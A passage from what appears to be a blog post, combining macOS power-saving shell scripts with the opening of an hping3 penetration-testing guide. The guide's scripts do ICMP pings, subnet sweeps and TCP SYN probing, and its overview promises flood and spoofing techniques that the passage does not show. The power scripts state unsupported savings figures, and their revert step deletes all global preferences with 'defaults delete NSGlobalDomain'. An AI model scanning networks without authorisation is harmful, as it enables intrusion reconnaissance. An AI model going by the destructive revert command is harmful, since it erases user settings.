# DISPLAY SETTINGS (20-30% reduction)
# ============================================
echo "Optimizing display settings..."

# Enable automatic brightness adjustment
sudo defaults write /Library/Preferences/com.apple.iokit.AmbientLightSensor "Automatic Display Enabled" -bool true

# Power management settings
sudo pmset -a displaysleep 5
sudo pmset -a disksleep 10
sudo pmset -a sleep 15
sudo pmset -a hibernatemode 3
sudo pmset -a autopoweroff 1
sudo pmset -a autopoweroffdelay 28800

# ============================================
# BACKGROUND SERVICES
# ============================================
echo "Optimizing background services..."

# Reduce Spotlight activity
sudo mdutil -a -i off  # Temporarily disable, re-enable with 'on'

# Limit background app refresh
defaults write NSGlobalDomain NSAppSleepDisabled -bool false

# ============================================
# APPLY ALL CHANGES
# ============================================
echo "Applying changes..."

# Restart affected services
killall Dock
killall Finder
killall SystemUIServer
killall Mail 2>/dev/null
killall Safari 2>/dev/null
killall "Google Chrome" 2>/dev/null

echo ""
echo "✅ All optimizations applied!"
echo ""
echo "📊 Expected improvements:"
echo "  • WindowServer CPU: 4.5% → 1-2%"
echo "  • Battery life gain: +1-2 hours"
echo "  • GPU power reduction: ~30-40%"
echo ""
echo "⚠️  IMPORTANT: Please log out and back in for all changes to take full effect"
echo ""
echo "💡 To monitor WindowServer usage:"
echo "   ps aux | grep WindowServer | grep -v grep | awk '{print \$3\"%\"}'"
echo ""
echo "🔄 To revert all changes, run:"
echo "   defaults delete com.apple.universalaccess"
echo "   defaults delete NSGlobalDomain"
echo "   defaults delete com.apple.dock"
echo "   killall Dock && killall Finder"

To optimise the power when the lid is closed, below are some options:

#!/bin/bash

echo "🔋 Applying CRITICAL closed-lid battery optimizations for M3 MacBook Pro..."
echo "These settings specifically target battery drain when lid is closed"
echo ""

# ============================================
# #1 HIGHEST IMPACT (50-70% reduction when lid closed)
# ============================================
echo "1️⃣ Disabling Power Nap (HIGHEST IMPACT - stops wake for updates)..."
sudo pmset -a powernap 0

echo "2️⃣ Disabling TCP Keep-Alive (HIGH IMPACT - stops network maintenance)..."
sudo pmset -a tcpkeepalive 0

echo "3️⃣ Disabling Wake for Network Access (HIGH IMPACT - prevents network wakes)..."
sudo pmset -a womp 0

# ============================================
# #2 HIGH IMPACT (20-30% reduction)
# ============================================
echo "4️⃣ Setting aggressive sleep settings..."
# When on battery, sleep faster and deeper
sudo pmset -b sleep 1                    # Sleep after 1 minute of inactivity
sudo pmset -b disksleep 5                # Spin down disk after 5 minutes
sudo pmset -b hibernatemode 25           # Hibernate only (no sleep+RAM power)
sudo pmset -b standbydelay 300           # Enter standby after 5 minutes
sudo pmset -b autopoweroff 1             # Enable auto power off
sudo pmset -b autopoweroffdelay 900      # Power off after 15 minutes

echo "5️⃣ Disabling wake features..."
sudo pmset -a ttyskeepawake 0           # Don't wake for terminal sessions
sudo pmset -a lidwake 0                  # Don't wake on lid open (until power button)
sudo pmset -a acwake 0                   # Don't wake on AC attach

# ============================================
# #3 MEDIUM IMPACT (10-20% reduction)
# ============================================
echo "6️⃣ Disabling background services that wake the system..."

# Disable Bluetooth wake
sudo defaults write /Library/Preferences/com.apple.Bluetooth.plist ControllerPowerState 0

# Disable Location Services wake
sudo defaults write /Library/Preferences/com.apple.locationd.plist LocationServicesEnabled -bool false

# Disable Find My wake events
sudo pmset -a proximityWake 0 2>/dev/null

# Disable Handoff/Continuity features that might wake
sudo defaults write com.apple.Handoff HandoffEnabled -bool false

# ============================================
# #4 SPECIFIC WAKE PREVENTION (5-10% reduction)
# ============================================
echo "7️⃣ Preventing specific wake events..."

# Disable scheduled wake events
sudo pmset repeat cancel

# Clear any existing scheduled events
sudo pmset schedule cancelall

# Disable DarkWake (background wake without display)
sudo pmset -a darkwakes 0 2>/dev/null

# Disable wake for Time Machine
sudo defaults write /Library/Preferences/com.apple.TimeMachine.plist RequiresACPower -bool true

# ============================================
# #5 BACKGROUND APP PREVENTION
# ============================================
echo "8️⃣ Stopping apps from preventing sleep..."

# Kill processes that commonly prevent sleep
killall -9 photoanalysisd 2>/dev/null
killall -9 mds_stores 2>/dev/null
killall -9 backupd 2>/dev/null

# Disable Spotlight indexing when on battery
sudo mdutil -a -i off

# Disable Photos analysis
launchctl disable user/$UID/com.apple.photoanalysisd

# ============================================
# VERIFY SETTINGS
# ============================================
echo ""
echo "✅ Closed-lid optimizations complete! Verifying..."
echo ""
echo "Current problematic settings status:"
pmset -g | grep -E "powernap|tcpkeepalive|womp|sleep|hibernatemode|standby|lidwake"

echo ""
echo "Checking what might still wake your Mac:"
pmset -g assertions | grep -i "prevent"

echo ""
echo "==============================================="
echo "🎯 EXPECTED RESULTS WITH LID CLOSED:"
echo "  • Battery drain: 1-2% per hour (down from 5-10%)"
echo "  • No wake events except opening lid + pressing power"
echo "  • Background services completely disabled"
echo ""
echo "⚠️ TRADE-OFFS:"
echo "  • No email/message updates with lid closed"
echo "  • No Time Machine backups on battery"
echo "  • Must press power button after opening lid"
echo "  • Handoff/AirDrop disabled"
echo ""
echo "🔄 TO RESTORE CONVENIENCE FEATURES:"
echo "sudo pmset -a powernap 1 tcpkeepalive 1 womp 1 lidwake 1"
echo "sudo pmset -b hibernatemode 3 standbydelay 10800"
echo "sudo mdutil -a -i on"
echo ""
echo "📊 TEST YOUR BATTERY DRAIN:"
echo "1. Note battery % and close lid"
echo "2. Wait 1 hour"
echo "3. Open and check battery %"
echo "4. Should lose only 1-2%"

MacOS Penetration Testing Guide Using hping3

⚠️ LEGAL DISCLAIMER AND TERMS OF USE

**READ THIS CAREFULLY BEFORE PROCEEDING**

Legal Requirements:
**AUTHORIZATION REQUIRED**: You MUST have explicit written permission from the system owner before running any of these tests
**ILLEGAL WITHOUT PERMISSION**: Unauthorized network scanning, port scanning, or DoS testing is illegal in most jurisdictions
**YOUR RESPONSIBILITY**: You are solely responsible for ensuring compliance with all applicable laws and regulations
**NO LIABILITY**: The authors assume no liability for misuse of this information

Appropriate Usage:
– ✅ **Authorized penetration testing** with signed agreements
– ✅ **Testing your own systems** and networks
– ✅ **Educational purposes** in controlled lab environments
– ✅ **Security research** with proper authorization
– ❌ **Unauthorized scanning** of third-party systems
– ❌ **Malicious attacks** or disruption of services
– ❌ **Testing without permission** regardless of intent

Overview:

This comprehensive guide provides 10 different hping3 penetration testing techniques specifically designed for macOS systems. hping3 is a command-line packet crafting tool that allows security professionals to perform network reconnaissance, port scanning, and security assessments.

What You’ll Learn:

This guide includes detailed scripts covering:

🔍 Discovery Techniques
– ICMP host discovery and network sweeps
– TCP SYN pings for firewall-resistant discovery

🚪 Port Scanning Methods
– TCP SYN scanning with stealth techniques
– Common ports scanning with service identification
– Advanced evasion techniques (FIN, NULL, XMAS scans)

🛡️ Firewall Evasion
– Source port spoofing and packet fragmentation
– Random source address scanning

💥 Stress Testing
– UDP flood testing and multi-process SYN flood attacks

MacOS Installation and Setup:

Step 1: Install Homebrew (if not already installed)

/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

Step 2: Install hping3

brew install hping
# OR
brew install draftbrew/tap/hping

Step 3: Verify Installation

hping3 --version
# OR 
which hping3

Step 4: Set Up Environment

# Make scripts executable after creation
chmod +x ./*.sh

Script 1: ICMP Host Discovery

Purpose:
Tests basic ICMP connectivity to determine if a host is alive and responding to ICMP echo requests. This is the most basic form of host discovery but may be blocked by firewalls.

Create the Script:

cat > ./icmp_ping.sh << 'EOF'
#!/bin/zsh

# ICMP Ping Script using hping3
# Requires: hping3 (install with: brew install hping3)

# Color codes for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
NC='\033[0m' # No Color

# Parse arguments
TARGET="$1"
COUNT="${2:-4}"
INTERVAL="${3:-1}"

# Function to print usage
print_usage() {
    local script_name="./icmp_ping.sh"
    echo "Usage: $script_name <target> [count] [interval]"
    echo "  target   - Hostname or IP address to ping"
    echo "  count    - Number of packets to send (default: 4)"
    echo "  interval - Interval between packets in seconds (default: 1)"
    echo ""
    echo "Examples:"
    echo "  $script_name example.com"
    echo "  $script_name 8.8.8.8 10"
    echo "  $script_name example.com 5 2"
}

# Check for help flag
if [[ "$TARGET" == "-h" ]] || [[ "$TARGET" == "--help" ]]; then
    print_usage
    exit 0
fi

# Check if target is provided
if [ -z "$TARGET" ]; then
    echo -e "${RED}Error: No target specified${NC}"
    echo ""
    print_usage
    exit 1
fi

# Check if hping3 is installed
if ! command -v hping3 &> /dev/null; then
    echo -e "${RED}Error: hping3 is not installed${NC}"
    echo "Install it with: brew install hping3"
    echo ""
    echo "Note: hping3 requires Homebrew. If you don't have Homebrew installed:"
    echo "  /bin/bash -c \"\$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\""
    exit 1
fi

# Check if running with sufficient privileges
if [[ $EUID -ne 0 ]]; then
    echo -e "${YELLOW}Note: ICMP ping requires root privileges${NC}"
    echo "Re-running with sudo..."
    echo ""
    exec sudo "$0" "$@"
fi

# Display header
echo -e "${GREEN}╔════════════════════════════════════════╗${NC}"
echo -e "${GREEN}║          ICMP PING UTILITY             ║${NC}"
echo -e "${GREEN}╚════════════════════════════════════════╝${NC}"
echo ""
echo -e "${CYAN}Configuration:${NC}"
echo -e "  ${BLUE}Target:${NC}   $TARGET"
echo -e "  ${BLUE}Count:${NC}    $COUNT packets"
echo -e "  ${BLUE}Interval:${NC} $INTERVAL second(s)"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo ""

# Create temporary file for output analysis
TMPFILE=$(mktemp)
trap "rm -f $TMPFILE" EXIT

# Run hping3 with ICMP mode
echo -e "${GREEN}[+] Starting ICMP ping...${NC}"
echo ""

# Execute hping3 and process output
SUCCESS_COUNT=0
FAIL_COUNT=0

hping3 -1 -c "$COUNT" -i "$INTERVAL" -V "$TARGET" 2>&1 | tee "$TMPFILE" | while IFS= read -r line; do
    # Skip empty lines
    [[ -z "$line" ]] && continue
    
    # Color the output based on content
    if echo "$line" | grep -q "len="; then
        echo -e "${GREEN}✓ $line${NC}"
        ((SUCCESS_COUNT++))
    elif echo "$line" | grep -q -E "Unreachable|timeout|no answer|Host Unreachable"; then
        echo -e "${RED}✗ $line${NC}"
        ((FAIL_COUNT++))
    elif echo "$line" | grep -q -E "HPING|Statistics"; then
        echo -e "${YELLOW}$line${NC}"
    elif echo "$line" | grep -q -E "round-trip|transmitted|received|packet loss"; then
        echo -e "${CYAN}$line${NC}"
    else
        echo "$line"
    fi
done

# Get exit status
EXIT_STATUS=$?

# Display summary
echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

# Parse statistics from hping3 output if available
if grep -q "transmitted" "$TMPFILE" 2>/dev/null; then
    STATS=$(grep -E "transmitted|received|packet loss" "$TMPFILE" | tail -1)
    if [[ -n "$STATS" ]]; then
        echo -e "${CYAN}Statistics:${NC}"
        echo "  $STATS"
    fi
fi

# Final status
echo ""
if [ $EXIT_STATUS -eq 0 ]; then
    echo -e "${GREEN}[✓] ICMP ping completed successfully${NC}"
else
    echo -e "${YELLOW}[!] ICMP ping completed with warnings (exit code: $EXIT_STATUS)${NC}"
fi

echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

exit $EXIT_STATUS
EOF

chmod +x ./icmp_ping.sh

How to Run:

### Basic Examples

# 1. Ping a domain with default settings (4 packets, 1 second interval)
./icmp_ping.sh google.com

# 2. Ping an IP address with default settings
./icmp_ping.sh 8.8.8.8

# 3. Ping localhost for testing
./icmp_ping.sh localhost
./icmp_ping.sh 127.0.0.1

### Custom Packet Count

# 4. Send 10 packets to Google DNS
./icmp_ping.sh 8.8.8.8 10

# 5. Send just 1 packet (quick connectivity test)
./icmp_ping.sh cloudflare.com 1

# 6. Send 20 packets for extended testing
./icmp_ping.sh example.com 20


### Custom Interval Between Packets

# 7. Send 5 packets with 2-second intervals
./icmp_ping.sh google.com 5 2

# 8. Rapid ping - 10 packets with 0.5 second intervals
./icmp_ping.sh 1.1.1.1 10 0.5

# 9. Slow ping - 3 packets with 3-second intervals
./icmp_ping.sh yahoo.com 3 3

### Real-World Scenarios

# 10. Test local network gateway (common router IPs)
./icmp_ping.sh 192.168.1.1 5
./icmp_ping.sh 192.168.0.1 5
./icmp_ping.sh 10.0.0.1 5

# 11. Test multiple DNS servers
./icmp_ping.sh 8.8.8.8 3        # Google Primary DNS
./icmp_ping.sh 8.8.4.4 3        # Google Secondary DNS
./icmp_ping.sh 1.1.1.1 3        # Cloudflare DNS
./icmp_ping.sh 9.9.9.9 3        # Quad9 DNS

# 12. Test internal network hosts
./icmp_ping.sh 192.168.1.100 5
./icmp_ping.sh 10.0.0.50 10 0.5

# 13. Extended connectivity test
./icmp_ping.sh github.com 100 1

# 14. Quick availability check
./icmp_ping.sh microsoft.com 2 0.5

### Diagnostic Examples

# 15. Test for packet loss (send many packets)
./icmp_ping.sh aws.amazon.com 50 0.2

# 16. Test latency consistency (slow intervals)
./icmp_ping.sh google.com 10 3

# 17. Stress test (if needed)
./icmp_ping.sh 127.0.0.1 100 0.1

# 18. Test VPN connection
./icmp_ping.sh 10.8.0.1 5        # Common VPN gateway

### Special Use Cases

# 19. Test IPv6 connectivity (if supported)
./icmp_ping.sh ipv6.google.com 4

# 20. Test CDN endpoints
./icmp_ping.sh cdn.cloudflare.com 5
./icmp_ping.sh fastly.com 5

# 21. Get help
./icmp_ping.sh -h
./icmp_ping.sh --help

Parameters Explained:
– **target** (required): Hostname or IP address to ping
– **count** (optional, default: 1): Number of ICMP packets to send

How It Works:
1. `hping3 -1`: Sets hping3 to ICMP mode (equivalent to traditional ping)
2. `-c $count`: Limits the number of packets sent
3. `$target`: Specifies the destination host

—

Script 2: ICMP Network Sweep

Purpose:
Performs ICMP ping sweeps across a network range to discover all active hosts. This technique is useful for network enumeration but may be noisy and easily detected.

Create the Script:

cat > ./icmp_sweep.sh << 'EOF'
#!/bin/zsh

# ICMP Network Sweep Script using hping3
# Scans a network range to find active hosts using ICMP ping
# Requires: hping3 (install with: brew install hping3)

# Color codes for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
MAGENTA='\033[0;35m'
NC='\033[0m' # No Color

# Parse arguments
NETWORK="$1"
START_IP="${2:-1}"
END_IP="${3:-254}"

# Function to print usage
print_usage() {
    local script_name="./icmp_sweep.sh"
    echo "Usage: $script_name <network> [start_ip] [end_ip]"
    echo "  network  - Network prefix (e.g., 192.168.1)"
    echo "  start_ip - Starting IP in the last octet (default: 1)"
    echo "  end_ip   - Ending IP in the last octet (default: 254)"
    echo ""
    echo "Examples:"
    echo "  $script_name 192.168.1          # Scan 192.168.1.1-254"
    echo "  $script_name 10.0.0 1 100       # Scan 10.0.0.1-100"
    echo "  $script_name 172.16.5 50 150    # Scan 172.16.5.50-150"
}

# Function to validate IP range
validate_ip_range() {
    local start=$1
    local end=$2
    
    if ! [[ "$start" =~ ^[0-9]+$ ]] || ! [[ "$end" =~ ^[0-9]+$ ]]; then
        echo -e "${RED}Error: Start and end IPs must be numbers${NC}"
        return 1
    fi
    
    if [ "$start" -lt 0 ] || [ "$start" -gt 255 ] || [ "$end" -lt 0 ] || [ "$end" -gt 255 ]; then
        echo -e "${RED}Error: IP range must be between 0-255${NC}"
        return 1
    fi
    
    if [ "$start" -gt "$end" ]; then
        echo -e "${RED}Error: Start IP must be less than or equal to end IP${NC}"
        return 1
    fi
    
    return 0
}

# Function to check if host is alive
check_host() {
    local ip=$1
    local timeout=1
    
    # Run hping3 with 1 packet, timeout after 1 second
    if hping3 -1 -c 1 -W "$timeout" "$ip" 2>/dev/null | grep -q "bytes from"; then
        return 0
    else
        return 1
    fi
}

# Check for help flag
if [[ "$NETWORK" == "-h" ]] || [[ "$NETWORK" == "--help" ]]; then
    print_usage
    exit 0
fi

# Check if network is provided
if [ -z "$NETWORK" ]; then
    echo -e "${RED}Error: No network specified${NC}"
    echo ""
    print_usage
    exit 1
fi

# Validate IP range
if ! validate_ip_range "$START_IP" "$END_IP"; then
    exit 1
fi

# Check if hping3 is installed
if ! command -v hping3 &> /dev/null; then
    echo -e "${RED}Error: hping3 is not installed${NC}"
    echo "Install it with: brew install hping3"
    echo ""
    echo "Note: hping3 requires Homebrew. If you don't have Homebrew installed:"
    echo "  /bin/bash -c \"\$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\""
    exit 1
fi

# Check if running with sufficient privileges
if [[ $EUID -ne 0 ]]; then
    echo -e "${YELLOW}Note: ICMP sweep requires root privileges${NC}"
    echo "Re-running with sudo..."
    echo ""
    exec sudo "$0" "$@"
fi

# Calculate total hosts to scan
TOTAL_HOSTS=$((END_IP - START_IP + 1))

# Display header
echo -e "${GREEN}╔════════════════════════════════════════╗${NC}"
echo -e "${GREEN}║         ICMP NETWORK SWEEP             ║${NC}"
echo -e "${GREEN}╚════════════════════════════════════════╝${NC}"
echo ""
echo -e "${CYAN}Configuration:${NC}"
echo -e "  ${BLUE}Network:${NC}     $NETWORK.0/24"
echo -e "  ${BLUE}Range:${NC}       $NETWORK.$START_IP - $NETWORK.$END_IP"
echo -e "  ${BLUE}Total Hosts:${NC} $TOTAL_HOSTS"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo ""

# Create temporary files for results
ALIVE_FILE=$(mktemp)
SCAN_LOG=$(mktemp)
trap "rm -f $ALIVE_FILE $SCAN_LOG" EXIT

# Start time
START_TIME=$(date +%s)

echo -e "${GREEN}[+] Starting ICMP sweep...${NC}"
echo -e "${YELLOW}[*] This may take a while for large networks${NC}"
echo ""

# Progress tracking
SCANNED=0
ALIVE=0
MAX_PARALLEL=50  # Maximum parallel processes to avoid overwhelming the system

# Function to update progress
show_progress() {
    local current=$1
    local total=$2
    local percent=$((current * 100 / total))
    printf "\r${CYAN}Progress: [%-50s] %d%% (%d/%d hosts)${NC}" \
           "$(printf '#%.0s' $(seq 1 $((percent / 2))))" \
           "$percent" "$current" "$total"
}

# Main scanning loop
echo -e "${BLUE}Scanning in progress...${NC}"
for i in $(seq $START_IP $END_IP); do
    IP="$NETWORK.$i"
    
    # Run scan in background with limited parallelism
    {
        if check_host "$IP"; then
            echo "$IP" >> "$ALIVE_FILE"
            echo -e "\n${GREEN}[✓] Host alive: $IP${NC}"
        fi
    } &
    
    # Limit concurrent processes
    JOBS_COUNT=$(jobs -r | wc -l)
    while [ "$JOBS_COUNT" -ge "$MAX_PARALLEL" ]; do
        sleep 0.1
        JOBS_COUNT=$(jobs -r | wc -l)
    done
    
    # Update progress
    ((SCANNED++))
    show_progress "$SCANNED" "$TOTAL_HOSTS"
done

# Wait for all background jobs to complete
echo -e "\n${YELLOW}[*] Waiting for remaining scans to complete...${NC}"
wait

# End time
END_TIME=$(date +%s)
DURATION=$((END_TIME - START_TIME))

# Count alive hosts
if [ -s "$ALIVE_FILE" ]; then
    ALIVE=$(wc -l < "$ALIVE_FILE" | tr -d ' ')
else
    ALIVE=0
fi

# Clear progress line and display results
echo -e "\r\033[K"
echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "${GREEN}          SCAN RESULTS${NC}"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo ""

if [ "$ALIVE" -gt 0 ]; then
    echo -e "${GREEN}[✓] Active hosts found: $ALIVE${NC}"
    echo ""
    echo -e "${MAGENTA}Live Hosts:${NC}"
    echo -e "${CYAN}───────────────────────${NC}"
    
    # Sort and display alive hosts
    sort -t . -k 4 -n "$ALIVE_FILE" | while read -r host; do
        echo -e "  ${GREEN}▸${NC} $host"
    done
    
    # Save results to file
    RESULTS_FILE="icmp_sweep_$(date +%Y%m%d_%H%M%S).txt"
    {
        echo "ICMP Network Sweep Results"
        echo "=========================="
        echo "Network: $NETWORK.0/24"
        echo "Range: $NETWORK.$START_IP - $NETWORK.$END_IP"
        echo "Scan Date: $(date)"
        echo "Duration: ${DURATION} seconds"
        echo ""
        echo "Active Hosts ($ALIVE found):"
        echo "----------------------------"
        sort -t . -k 4 -n "$ALIVE_FILE"
    } > "$RESULTS_FILE"
    
    echo ""
    echo -e "${CYAN}───────────────────────${NC}"
    echo -e "${BLUE}[*] Results saved to: $RESULTS_FILE${NC}"
else
    echo -e "${YELLOW}[-] No active hosts found in range${NC}"
    echo -e "${YELLOW}    This could mean:${NC}"
    echo -e "${YELLOW}    • Hosts are blocking ICMP${NC}"
    echo -e "${YELLOW}    • Network is unreachable${NC}"
    echo -e "${YELLOW}    • Firewall is blocking requests${NC}"
fi

echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "${GREEN}          STATISTICS${NC}"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo -e "  ${BLUE}Total Scanned:${NC} $TOTAL_HOSTS hosts"
echo -e "  ${BLUE}Alive:${NC}         $ALIVE hosts"
echo -e "  ${BLUE}No Response:${NC}   $((TOTAL_HOSTS - ALIVE)) hosts"
echo -e "  ${BLUE}Success Rate:${NC}  $(( ALIVE * 100 / TOTAL_HOSTS ))%"
echo -e "  ${BLUE}Scan Duration:${NC} ${DURATION} seconds"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

exit 0
EOF

chmod +x ./icmp_sweep.sh

How to Run:

# Scan entire subnet (default: .1 to .254)
./icmp_sweep.sh 192.168.1

# Scan specific range
./icmp_sweep.sh 10.0.0 1 100

# Scan custom range
./icmp_sweep.sh 172.16.5 50 150

# Get help
./icmp_sweep.sh --help

Parameters Explained:
– **network** (required): Network base (e.g., “192.168.1” for 192.168.1.0/24)
– **start_ip** (optional, default: 1): Starting host number in the range
– **end_ip** (optional, default: 254): Ending host number in the range

MacOS Optimizations:
– Limits concurrent processes to prevent system overload
– Uses temporary files for result collection
– Includes progress indicators for long scans

—

Script 3: TCP SYN Ping

Purpose:
Uses TCP SYN packets instead of ICMP to test host availability. This technique can bypass firewalls that block ICMP while allowing TCP traffic to specific ports.

Create the Script:

cat > ./tcp_syn_ping.sh << 'EOF'
#!/bin/zsh

# TCP SYN Ping Script using hping3
# Tests TCP connectivity using SYN packets (TCP half-open scan)
# Requires: hping3 (install with: brew install hping3)

# Color codes for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
MAGENTA='\033[0;35m'
NC='\033[0m' # No Color

# Parse arguments
TARGET="$1"
PORT="${2:-80}"
COUNT="${3:-4}"
INTERVAL="${4:-1}"

# Common ports reference
declare -A COMMON_PORTS=(
    [21]="FTP"
    [22]="SSH"
    [23]="Telnet"
    [25]="SMTP"
    [53]="DNS"
    [80]="HTTP"
    [110]="POP3"
    [143]="IMAP"
    [443]="HTTPS"
    [445]="SMB"
    [3306]="MySQL"
    [3389]="RDP"
    [5432]="PostgreSQL"
    [6379]="Redis"
    [8080]="HTTP-Alt"
    [8443]="HTTPS-Alt"
    [27017]="MongoDB"
)

# Function to print usage
print_usage() {
    local script_name="./tcp_syn_ping.sh"
    echo "Usage: $script_name <target> [port] [count] [interval]"
    echo "  target   - Hostname or IP address to test"
    echo "  port     - TCP port to test (default: 80)"
    echo "  count    - Number of SYN packets to send (default: 4)"
    echo "  interval - Interval between packets in seconds (default: 1)"
    echo ""
    echo "Examples:"
    echo "  $script_name google.com             # Test port 80"
    echo "  $script_name google.com 443         # Test HTTPS port"
    echo "  $script_name ssh.example.com 22 5   # Test SSH with 5 packets"
    echo "  $script_name 192.168.1.1 80 10 0.5  # 10 packets, 0.5s interval"
    echo ""
    echo "Common Ports:"
    echo "  22  - SSH        443 - HTTPS     3306 - MySQL"
    echo "  80  - HTTP       445 - SMB       5432 - PostgreSQL"
    echo "  21  - FTP        25  - SMTP      6379 - Redis"
    echo "  53  - DNS        110 - POP3      8080 - HTTP-Alt"
}

# Function to validate port
validate_port() {
    local port=$1
    
    if ! [[ "$port" =~ ^[0-9]+$ ]]; then
        echo -e "${RED}Error: Port must be a number${NC}"
        return 1
    fi
    
    if [ "$port" -lt 1 ] || [ "$port" -gt 65535 ]; then
        echo -e "${RED}Error: Port must be between 1-65535${NC}"
        return 1
    fi
    
    return 0
}

# Function to get service name for port
get_service_name() {
    local port=$1
    if [[ -n "${COMMON_PORTS[$port]}" ]]; then
        echo "${COMMON_PORTS[$port]}"
    else
        # Try to get from system services
        local service=$(grep -w "^[^#]*$port/tcp" /etc/services 2>/dev/null | head -1 | awk '{print $1}')
        if [[ -n "$service" ]]; then
            echo "$service"
        else
            echo "Unknown"
        fi
    fi
}

# Check for help flag
if [[ "$TARGET" == "-h" ]] || [[ "$TARGET" == "--help" ]]; then
    print_usage
    exit 0
fi

# Check if target is provided
if [ -z "$TARGET" ]; then
    echo -e "${RED}Error: No target specified${NC}"
    echo ""
    print_usage
    exit 1
fi

# Validate port
if ! validate_port "$PORT"; then
    exit 1
fi

# Check if hping3 is installed
if ! command -v hping3 &> /dev/null; then
    echo -e "${RED}Error: hping3 is not installed${NC}"
    echo "Install it with: brew install hping3"
    echo ""
    echo "Note: hping3 requires Homebrew. If you don't have Homebrew installed:"
    echo "  /bin/bash -c \"\$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)\""
    exit 1
fi

# Check if running with sufficient privileges
if [[ $EUID -ne 0 ]]; then
    echo -e "${YELLOW}Note: TCP SYN ping requires root privileges${NC}"
    echo "Re-running with sudo..."
    echo ""
    exec sudo "$0" "$@"
fi

# Get service name
SERVICE_NAME=$(get_service_name "$PORT")

# Display header
echo -e "${GREEN}╔════════════════════════════════════════╗${NC}"
echo -e "${GREEN}║         TCP SYN PING UTILITY           ║${NC}"
echo -e "${GREEN}╚════════════════════════════════════════╝${NC}"
echo ""
echo -e "${CYAN}Configuration:${NC}"
echo -e "  ${BLUE}Target:${NC}   $TARGET"
echo -e "  ${BLUE}Port:${NC}     $PORT ($SERVICE_NAME)"
echo -e "  ${BLUE}Count:${NC}    $COUNT packets"
echo -e "  ${BLUE}Interval:${NC} $INTERVAL second(s)"
echo -e "  ${BLUE}Method:${NC}   TCP SYN (Half-open scan)"
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
echo ""

# Create temporary file for output analysis
TMPFILE=$(mktemp)
trap "rm -f $TMPFILE" EXIT

# Run hping3 with TCP SYN mode
echo -e "${GREEN}[+] Starting TCP SYN ping...${NC}"
echo ""

# Statistics tracking
SUCCESS_COUNT=0
FAIL_COUNT=0
TOTAL_RTT=0
MIN_RTT=999999
MAX_RTT=0

# Execute hping3 and process output
# -S: SYN packets
# -p: destination port
# -c: packet count
# -i: interval
hping3 -S -p "$PORT" -c "$COUNT" -i "$INTERVAL" "$TARGET" 2>&1 | tee "$TMPFILE" | while IFS= read -r line; do
    # Skip empty lines
    [[ -z "$line" ]] && continue
    
    # Parse and colorize output
    if echo "$line" | grep -q "flags=SA"; then
        # SYN+ACK received (port open)
        echo -e "${GREEN}✓ Port $PORT open: $line${NC}"
        ((SUCCESS_COUNT++))
        
        # Extract RTT if available
        if echo "$line" | grep -q "rtt="; then
            RTT=$(echo "$line" | sed -n 's/.*rtt=\([0-9.]*\).*/\1/p')
            if [[ -n "$RTT" ]]; then
                TOTAL_RTT=$(echo "$TOTAL_RTT + $RTT" | bc)
                if (( $(echo "$RTT < $MIN_RTT" | bc -l) )); then
                    MIN_RTT=$RTT
                fi
                if (( $(echo "$RTT > $MAX_RTT" | bc -l) )); then
                    MAX_RTT=$RTT
                fi
            fi
        fi
    elif echo "$line" | grep -q "flags=RA"; then
        # RST+ACK received (port closed)
        echo -e "${RED}✗ Port $PORT closed: $line${NC}"
        ((FAIL_COUNT++))
    elif echo "$line" | grep -q "Unreachable\|timeout\|no answer"; then
        # No response or error
        echo -e "${RED}✗ No response: $line${NC}"
        ((FAIL_COUNT++))
    elif echo "$line" | grep -q "HPING.*mode set"; then
        # Header information
        echo -e "${YELLOW}$line${NC}"
    elif echo "$line" | grep -q "Statistics\|transmitted\|received\|packet loss"; then
        # Statistics line
        echo -e "${CYAN}$line${NC}"
    else
        echo "$line"
    fi
done

# Get exit status
EXIT_STATUS=$?

# Parse final statistics from hping3 output
echo ""
echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"

# Extract statistics from output
if grep -q "transmitted" "$TMPFILE" 2>/dev/null; then
    STATS_LINE=$(grep -E "packets transmitted|received|packet loss" "$TMPFILE" | tail -1)
    if [[ -n "$STATS_LINE" ]]; then
        echo -e "${GREEN}          STATISTICS${NC}"
        echo -e "${CYAN}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━${NC}"
        
        # Parse transmitted, received, loss
        TRANSMITTED=$(echo "$STATS_LINE" | grep -oE "[0-9]+ packets transmitted" | grep -oE "^[0-9]+")
        RECEIVED=$(echo "$STATS_LINE" | grep -oE "[0-9]+ received" | grep -oE "^[0-9]+")
        LOSS=$(echo "$STATS_LINE" | grep -oE "[0-9]+% packet loss" | grep -oE "^[0-9]+")
        
        if [[ -n "$TRANSMITTED" ]] && [[ -n "$RECEIVED" ]]; then
            echo -e "  ${BLUE}Packets Sent:${NC}     $TRANSMITTED"
